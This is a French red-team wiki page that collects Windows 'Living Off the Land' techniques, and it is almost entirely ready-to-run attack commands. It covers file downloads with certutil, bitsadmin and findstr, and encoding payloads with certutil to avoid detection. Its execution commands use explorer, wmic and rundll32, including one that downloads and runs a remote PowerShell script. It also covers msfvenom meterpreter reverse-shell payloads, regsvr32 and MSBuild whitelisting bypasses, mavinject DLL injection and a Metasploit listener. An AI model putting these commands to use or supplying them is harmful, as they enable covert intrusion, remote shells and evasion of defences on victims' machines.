[Exploitation/Windows] Living Off the Land

Introduction

Le terme de **Living Off The Land** signifie se débrouiller avec les moyens du bord et donc avec les outils déjà présents dans notre contexte pour du Red teaming.

L'intérêt d'utiliser des outils déjà présent sont multiples :

- Ne pas éveiller les soupçons.
- L'utilisation d'outils externe est impossible pour une raison quelconque.



LOLBAS

Ce projet réunis les techniques et outils de Living Off The Land :

- https://lolbas-project.github.io/#/

LOTS Project

Ce projet similaire à LOLBAS, réunis les sites légitimes (Livin Of Trusted Sites) qui peuvent être abusés par les attaquants :

- https://lots-project.com/

Manuel

Télécharger un fichier depuis un serveur HTTP

Il est possible de télécharger un fichier avec **certutil.exe** bien qu'il soit initialement conçu pour gérer les certificats sur Windows :

```
certutil -URLcache -split -f <URL> <OUTPUT>
```

Vous pouvez aussi utiliser **BitsAdmin** :

```
bitsadmin.exe /transfer /Download /priority Foreground <URL> <OUTPUT_FILE>
```

Télécharger un fichier depuis un serveur SMB

Grâce à l'outil findstr, il est possible de télécharger un fichier depuis un partage samba :

```
findstr /V dummystring \\<IP|FQDN>\<Share>\<FILE> > <OUTPUT_FILE>
```

> **dummystring** correspond à une chaîne non présente dans le fichier recherché.

Encoder un fichier

Avec **certutil**, on peut encoder un fichier et le rendre bien plus difficile à détecter :

```
certutil -encode <INPUT_FILE> <OUTPUT_ENCODED_FILE>
```

> Vous pouvez encoder vos binaires de cette façon.

Exécuter un binaire

L'exécution de binaire peut se faire de manière traditionnelle via le cmd ou depuis le bureau. Cependant, il existe des manières d'exécuter un fichier de manière plus discrète notamment avec l'**explorateur de fichier** qui sera le parent de notre processus si on exécute notre binaire de la façon suivante :

```
explorer.exe /root,"<EXE_FILE>"
```

On peut aussi le faire avec **WMIC** :

```
wmic.exe process call create <EXE_WITHOUT_EXTENSION>
```

> Le **payload** ne doit pas comporter d'extension (.exe) dans la commande !

On peut aussi utiliser **RunDLL** pour exécuter des programmes ou du code Javascript ou même Powershell :

```
rundll32.exe javascript:"\..\mshtml.dll,RunHTMLApplication ";eval("w=new
ActiveXObject(\"WScript.Shell\");w.run(\"<EXE_WITHOUT_EXTENSION>\");window.close()");
```

> Le **payload** ne doit pas comporter d'extension (.exe) dans la commande !

Et pour exécuter un script Powershell présent sur un serveur web distant :

```
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication
";document.write();new%20ActiveXObject("WScript.Shell").Run("powershell -nop -exec bypass -c
IEX (New-Object Net.WebClient).DownloadString('<URL>');");
```

Importation de DLL corrompue

Avec l'utilitaire **regsvr32**, il est possible d'exécuter une DLL corrompue.

Tout d'abord, créez votre payload (DLL corrompue) avec **Metasploit** :

```
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP> LPORT=443 -f dll -a x86 > <PAYLOAD>.dll
```

Trouvez un moyen de la téléverser sur la machine victime puis lancez cette commande :

```
c:\Windows\System32\regsvr32.exe <PAYLOAD>.dll
```

Vous pouvez aussi utiliser différentes options pour essayer d'être plus discret :

```
c:\Windows\System32\regsvr32.exe /s /n /u /i:http://example.com/file.sct <PAYLOAD>.dll
```

> Lors de l'exécution, vous devriez obtenir un reverse shell et ainsi contourner le whitelisting d'application de Windows.

Injection de DLL malveillante dans un processus

L'utilitaire **mavinject**, il est possible d'injecter une DLL dans un processus en cours d'exécution :

```
MavInject.exe <PID> /INJECTRUNNING <PATH_TO_DLL>
```

> Vous devez seulement au préalable préparer votre DLL et trouver le PID du processus cible.

Contournement du whitelisting d'application

Parfois, Windows autorise seulement certaines applications à se démarrer par sécurité.

Cependant, cette sécurité ne prend pas en compte le fait que certaines applications peuvent être lancées à partir d'autres applications légitimes telles que **Bash** qui a été implémentée dans Windows 10 et Windows Server 19 à travers WSL :

```
bash.exe -c "<PAYLOAD>.exe"
```

Exécution de code Powershell sans utiliser Powershell

Il est possible d'exécuter un script powershell malveillant sans utiliser Powershell, en passant par MSBuild.

Cette technique peut-être utile lorsque le processus Powershell est surveillée voire bloquée.

Pour l'exemple, on peut générer un payload Powershell avec Metasploit :

```
msfvenom -p windows/meterpreter/reverse_winhttps LHOST=<IP> LPORT=443 -f psh-reflection > <PAYLOAD>.ps1
```

Ensuite, on peut utiliser le projet PowerLessShell pour convertir notre script Powershell, en fichier de projet **MSBuild** :

```
python2 PowerLessShell.py -type powershell -source <PAYLOAD>.ps1 -output <PROJECT>.csproj
```

On peut se mettre en écoute avec Metasploit :

```
msfconsole -q -x "use exploit/multi/handler; set payload windows/meterpreter/reverse_winhttps;
set lhost <IP>;set lport 443;exploit"
```

Une fois le fichier transféré sur la machine victime on peut lancer le fichier avec MSBuild :

```
c:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe <PROJECT>.csproj
```

Revision #10
Created 2024-03-01 16:52:43 UTC by Elieroc
Updated 2024-10-09 13:58:23 UTC by Elieroc